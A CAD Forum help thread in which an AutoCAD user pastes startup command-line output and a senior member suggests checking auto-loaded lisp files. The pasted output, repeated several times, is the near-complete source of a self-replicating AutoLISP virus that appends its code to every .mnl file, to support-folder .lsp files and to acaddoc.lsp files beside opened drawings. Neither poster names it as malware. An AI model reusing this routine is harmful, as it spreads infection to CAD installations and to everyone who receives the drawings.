CAD Forum - tips, tricks, discussion and utilities for AutoCAD, Inventor, Revit and other Autodesk products [www.cadforum.cz] ARKANCE | CONTACT - CZ | SK | EN | DE
Over 1.091.000 registered users (EN+CZ). AutoCAD tips, Inventor tips, Revit tips. Try the new precise Engineering calculator. New AutoCAD 2026 commands and variables.
Plex.Earth connects AutoCAD and Google Earth
RSS channel - CAD tips RSS tips
RSS discussions

Discussion Discussion forum

?
CAD discussions, advices, exchange of experience

CAD Forum - Homepage CAD discussion forum - ask any CAD-related questions here, share your CAD knowledge on AutoCAD, Inventor, Revit and other Autodesk software with your peers from all over the world. To start a new topic, choose an appropriate forum.

Please abide by the rules of this forum.
This is a peer-to-peer forum. The forum doesn't replace the official direct technical support provided by ARKANCE for its customers.
How to post questions: register or login, go to the specific forum and click the NEW TOPIC button.
  FAQ FAQ  Forum Search   Events   Register Register  Login Login

Topic ClosedHelp me Pls ! Mistake is occurred when open file

 Post Reply Post Reply
Author
Gemgem View Drop Down
Newbie
Newbie


Joined: 10.Dec.2013
Location: Vietnam
Using: AutoCAD 2013
Status: Offline
Points: 3
Direct Link To This Post Topic: Help me Pls ! Mistake is occurred when open file
    Posted: 10.Dec.2013 at 05:38
Hi every body !
Im new member. And im having a problem with AutoCad file.
When i open a file. The command line appear 
"   );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

      );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

      );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

      );progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

      (app mnlfilename acaddocfile bz)

      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

      (app lspfilename acaddocfile bz)

      (app acaddocfile lspfilename bz)

      (setq lspn (1+ lspn))

      );while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app mnlfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app lspfilename mnlfilename1 bz)

    (setq mnln1 (1+ mnln1))

   );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

      (while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

      (close wjm1)

      );progn

    );if

  (if flag1

    (progn

      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

     (write-line text wjm1)

     );progn

   );if

);while

      (close wjm1)

      (close wjm)

; error: bad argument type: streamp nil

bad argument type: stringp nil

Command:

Autodesk DWG.  This file is a TrustedDWG last saved by an Autodesk application or Autodesk licensed application.

Command:

And its took very long time to open. And if i open 2 files more. Cad program can not respond

I reset program but mistake still happened


(^_^) (Y)
Back to Top
John Connor View Drop Down
Senior Member
Senior Member


Joined: 01.Feb.2011
Location: United States
Using: AutoCAD 2018
Status: Offline
Points: 7175
Direct Link To This Post Posted: 10.Dec.2013 at 11:30
Surely everything in blue does not appear does it?

It looks like you have a problematic lisp routine that is executing upon starting a drawing. 

I'd temporarily disable (by renaming) the acad.lsp file and see if that helps.
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."

<<AutoCAD 2015>>

Back to Top
Gemgem View Drop Down
Newbie
Newbie


Joined: 10.Dec.2013
Location: Vietnam
Using: AutoCAD 2013
Status: Offline
Points: 3
Direct Link To This Post Posted: 12.Dec.2013 at 05:01
thank you !
Im sure that it appeared. and i also thought its related to lisp. then i removed all lisp and reset cad. but trouble still happened.

(^_^) (Y)
Back to Top
John Connor View Drop Down
Senior Member
Senior Member


Joined: 01.Feb.2011
Location: United States
Using: AutoCAD 2018
Status: Offline
Points: 7175
Direct Link To This Post Posted: 12.Dec.2013 at 09:56
One can automatically load lisp programs via the Startup Suite and by using acaddoc.lsp.  Both should be checked.

When did you start see this error?  Had to received a drawing from another source outside of the company you work for?

Does this happen with any drawing you try to open?


Edited by John Connor - 12.Dec.2013 at 12:10
"Humans have a strength that cannot be measured. This is John Connor. If you are reading this, you are the resistance."

<<AutoCAD 2015>>

Back to Top

Related CAD tips:


 Post Reply Post Reply
  Share Topic   

Forum Jump Forum Permissions View Drop Down



This page was generated in 0,141 seconds.